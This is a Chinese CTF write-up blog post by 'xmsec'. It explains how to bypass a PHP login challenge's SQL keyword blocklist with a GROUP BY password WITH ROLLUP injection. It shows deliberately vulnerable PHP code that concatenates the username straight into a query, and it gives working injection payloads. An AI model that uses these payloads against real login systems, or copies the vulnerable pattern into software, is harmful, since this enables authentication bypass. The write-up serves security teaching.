PHP登录验证——rollup bypass

0x00 引言

CTF中,php登录的sql查询语句有时会导致SQL injection,尽管设置了WAF,仍有一些办法去绕过。

0x01 代码
<?php
include 'flag.php';

if(!isset($_POST['username']) || !isset($_POST['password'])) {
print <<<FORM
<form method=POST>
<input type=text name=username></input>
<input type=password name=password></input>
<input type=submit></input>
</form>
FORM;
 die;
}

$this_is_baaad = array("union", "select", "from", "where", "join", "sleep", "benchmark", ",", "(", ")");
foreach($this_is_baaad as $srsly) {
if(stripos($_POST['username'], $srsly) !== false) {
    print "Do not try to trick me!";
    die;
}
}

$q = mysql_query("SELECT * FROM users WHERE username = '{$_POST['username']}'"); 
if(mysql_num_rows($q) == 1) { 
$user = mysql_fetch_array($q);
if($user['password'] == $_POST['password']) {
    print $flag;
} else {
    print "Login failed!";
}
} else {
print "Login failed!";
}
0x02 分析

password没有出现在SQL query中,同时UNION和sleep都被屏蔽。
但是GROUP没有被屏蔽,password比较时使用==,可以考虑弱类型。此时,在MYSQL中,GROUP BY可以和一个interesting modifier一起使用。

The GROUP BY clause permits a WITH ROLLUP modifier that causes extra rows to be added to the summary output.

于是构造类似

admin' group by password with rollup limit 1 offset 1 #

这样的SQL query。当admin不存在时,可以考虑其他用户名或者先判断出用户个数再构造

admin' || 1 group by password with rollup limit 1 offset ? #

参考:PHDays 2013 CTF “Blade” Writeup

xmsec

Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus